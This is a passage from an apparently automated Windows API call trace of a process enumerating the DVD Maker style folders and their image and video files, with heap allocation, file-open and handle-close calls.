cAlternateFileName="")) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0ce28 [0066.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ab30 [0066.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa8b92dd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa11287e6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Travel", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0066.908] GetLastError () returned 0x12 [0066.908] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0066.909] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0066.909] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0066.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0066.918] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0066.918] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa0d530, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa0d530, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0066.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0d530) returned 1 [0066.919] NtClose (Handle=0x170) returned 0x0 [0066.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0066.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0066.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0066.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0066.919] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0066.959] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.959] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.959] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08640) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0ce88 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ae48 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xb80) returned 0xa0d530 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9fa458) returned 1 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cea8 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0af50 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.960] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.960] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cec8 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b058 [0066.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.961] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cee8 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b160 [0066.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.961] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cf08 [0066.961] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b268 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cf28 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b370 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cf48 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b478 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.962] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.962] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0cf68 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0b580 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0066.963] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0066.963] RtlAllocateHeap 